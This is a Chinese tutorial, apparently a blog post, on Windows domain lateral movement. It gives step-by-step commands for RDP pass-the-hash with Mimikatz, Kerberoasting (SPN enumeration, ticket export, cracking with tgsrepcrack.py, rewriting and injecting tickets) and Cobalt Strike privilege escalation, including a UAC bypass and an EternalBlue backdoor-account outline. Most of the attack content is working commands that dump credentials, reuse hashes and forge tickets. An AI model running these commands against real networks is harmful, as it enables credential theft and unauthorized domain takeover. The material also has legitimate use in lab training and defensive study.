数据来源
SPN(Secret Private Network缩写)_百度百科 (baidu.com)
演示案例
- 域横向移动RDP传递-Mimikatz
- 域横向移动SPN服务-探针,请求,导出,破解,重写
- 域横向移动测试流程一把梭哈-CobaltStrike初体验
案例1-域横向移动RDP传递-Mimikatz
除了上述讲到的IPC,WMI,SMB等协议的链接外,获取到的明文密码或HASH密文也可以通过RDP协议进行链接操作
RDP协议连接:判断对方远程桌面服务是否开启(默认:3389),端口扫描判断
1)RDP明文密码链接
要使用RDP协议控制目标的桌面前提:
- 已经收集到目标主机的远程桌面账号(就是有权限连接到远程桌面的本地或域账号)
- 目标开启了远程桌面服务,默认是3369端口
扫描端口与破解账号:(20条消息) kail - 扫描与爆破_正经人_____的博客-CSDN博客
Windows:(我这里用win7连接win2008做演示)
首先在win2008开启远程桌面
win7的cmd中输入下面的命令
# mstsc是windows系统自带的程序
# 目标端口
mstsc.exe /console /v:192.168.1.61 /admin
Linux:(我是在kali中连接win2008)
# kaili rdesktop
rdesktop 192.168.1.61:3389
kali最强的渗透神器 - metasploit
这里说到了kali顺便给你们介绍个kali最强的渗透神器 - metasploit,使用场景:以永恒之蓝漏洞为例,比如你发现你要攻击的目标没有开启3389端口并且你连他的账号密码都不知道,但是你发现目标的445端口是开启的(这个端口默认是开启的,除非受害者的安全意识很好不然不会关闭),这时你就可以使用metasploit 利用永恒之蓝漏洞对目标进行攻击(这个漏洞就是利用445端口,不同的漏洞利用的端口也不同,如果你有更好的利用方式我们可以一起交流进步)
说一下大概的利用流程:利用永恒之蓝漏洞对目标进行攻击 —>攻击成功就开启目标的3389端口 ->然后在目标主机上创建一个后门账号以后我们就可以利用这个后门账号进行登录受害者的远程桌面
详情的流程我这里就不多说了,我以前写过一篇利用文章你们需要可以参考一下:Kali最强渗透工具- metasploit_kali系统常用渗透工具_正经人_____的博客-CSDN博客
2)RDP密文HASH链接
Mimikatz官网:GitHub - gentilkiwi/mimikatz:一个玩Windows安全的小工具
我这里直接在目标主机使用Mimikatz收集账号的hash
使用cmd启动mimikatz工具
privilege::debug # 调试
sekurlsa::ekeys # 获取 aes
sekurlsa::logonpasswords # 收集PTH攻击方式的NTLM、LM信息
LM是旧版,NILM是新版(我现在用的就是这个)
windows Server需要开启 Restricted Admin mode,在Windows 8.1和Windows Server 2012 R2中默认开启,同时如果Win 7 和Windows Server 2008 R2安装了2871997、2973351补丁也支持;开启命令:
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f
开启后运行:
# 打开远程桌面的使用教程
mstsc.exe /restrictedadmin
mimikatz.exe
privilege::debug
sekurlsa::pth /user:administrator /domain:god /ntlm:442285a710fe49913e8b9a2861781eec "/run:mstsc.exe /restrictedadmin"
net use \\192.168.1.61\c$
dir \\192.168.1.61\c$
案例2-域横向移动SPN服务-探针,请求,破解,重写
https://www.cnblogs.com/backlion/p/8082623.html
黑客可以使用有效的域用户的身份验证票证(TGT)去请求运行在服务器上的一个或多个目标服务的服务票证。DC在活动目录中查找SPN,并使用与SPN关联的服务帐户加密票证,以便服务能够验证用户是否可以访问。请求的Kerberos服务票证的加密类型是RC4_HMAC_MD5,这意味着服务帐户的NTLM密码哈希用于加密服务票证。黑客将收到的TGS票据离线进行破解,即可得到目标服务帐号的HASH,这个称之为Kerberoast攻击。如果我们有一个为域用户帐户注册的任意SPN,那么该用户帐户的明文密码的NTLM哈希值就将用于创建服务票证。这就是Kerberoasting攻击的关键。
探针(要在域账号中执行下面的命令,普通域或域控账号都可以)
1)查看域所有主机的服务
# windows系统自带的setspn可以查询域内的SPN
setspn -q */* # 获取所有服务
2)查看指定服务的名称
例如:我们要攻击DNS服务,那就专门查看DNS的服务名
setspn -q */* | findstr "DNS"
# 首先打开cmd输入下面的命令清空之前凭证
klist purge
# 查看凭证列表,看是否删除成功了
klist
请求(这里要用 powershell 执行命令,cmd报错)
#
Add-Type -AssemblyName System.IdentityModel
# 请求DNS 我这里是: DNS/WIN-I7NPA55KMBD.zs.com
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "xxxx"
# 或使用mimikatz去请求
mimikatz.exe "kerberos::ask /target:xxxx"
再次查看凭证列表现在就有东西了
# 查看凭证列表
klist
导出(导出刚才的票证信息)
这里要用都Mimikatz工具
Mimikatz官网:GitHub - gentilkiwi/mimikatz:一个玩Windows安全的小工具
mimikatz.exe "kerberos::list /export"
破解
使用 tgsrepcrack.py 破解
项目地址:https://github.com/nidem/kerberoast
# 用python运行脚本 密码字典 凭证的文件
python tgsrepcrack.py passwd.txt xxxx.kirbi
python .\tgsrepcrack.py .\passwd.txt .\2-40a40000-zhangsan@DNS~WIN-I7NPA55KMBD.zs.com-ZS.COM.kirbi
重写
python kerberoast.py -p Password123 -r xxxx.kirbi -w PENTESTLAB.kirbi -u 500
python kerberoast.py -p Password123 -r xxxx.kirbi -w PENTESTLAB.kirbi -g 512
mimikatz.exe kerberos::ptt xxxx.kirbi # 将生成的票据注入内存
案例3-域横向移动测试流程一把梭哈-CobaltStrike初体验
安装与使用可以参考我之前写的文章:(下面的内容我会写一些之前没有的CS操作 )cobaltstrike的安装与基础使用_windows安装cobaltstrike_正经人_____的博客-CSDN博客
大概流程:
启动-配置-监听-执行-上线-提权-信息收集(网络,凭证,定位等)-渗透
1)关于启动及配置讲解
我之前的文章有写,这里就不多说了
2)关于提权及插件加载
1、提权
说明:提权操作是目标有这个漏洞才能提权(如果你也不请求目标主机的漏洞是啥就一个个尝试),而且只能将administrator账号(管理员)提权到system账户(系统)
使用插件提权 (这使用视频中老师推荐的插件)
先演示一下梼杌:GitHub - pandasec888/taowu-cobalt-strike
# 克隆插件到CS根目录
git clone https://github.com/pandasec888/taowu-cobalt-strike.git
直接从github上克隆因为网站是外国的容易断开报错,建议还是下载压缩包再拉进入
使用插件
修改一下执行时间,默认是60s才会执行操作
调好之后我们就可以使用这个插件的功能了,如:一键获取目标主机信息(主机硬件、域、ip、FTP等信息)
注意:下面的操作都是要先进入CS的命令行才能看到操作结果
使用插件的权限提升功能
操作都是中文的其他操作自己玩一会就知道了(注意:一定要调一下延时操作,不然默认是60s)
ElevateKit 演示:ElevateKit
我的受害者主机是win7最终选择uac-token-duplication 提权成功
uac-token-duplication是一种绕过uac方式的攻击,吧地权限提高到高权限,利用一个UAC漏洞,允许非提升进程使用提升进程中窃取的令牌来启动,适用于win7 (参考)
3)关于信息收集命令讲解
我感觉这些命令都不是很好用
net view # 查看目标的共享
net computers # 查看域的成员
net dclist
shell net user /domain
建议还是使用查插件进行信息搜集
4)关于视图自动化功能讲解
操作都是中文的感觉没啥好写的
涉及资源:(参考)
-
kerberos中的spn详解:https://www.cnblogs.com/backlion/p/8082623.html
-
kerberoast:https://github.com/nidem/kerberoast
-
taowu-cobalt-strike(插件-小迪精选):https://github.com/pandasec888/taowu-cobalt-strike
-
Cobalt Strike 4.0手册:https://pan.baidu.com/s/15DCt2Rzg5cZjXnEuUTgQ9Q 提取码:dtm2
-
红队实战演练环境:https://pan.baidu.com/s/14eVDglqba1aRXi9BGcBbug 提取码:taqu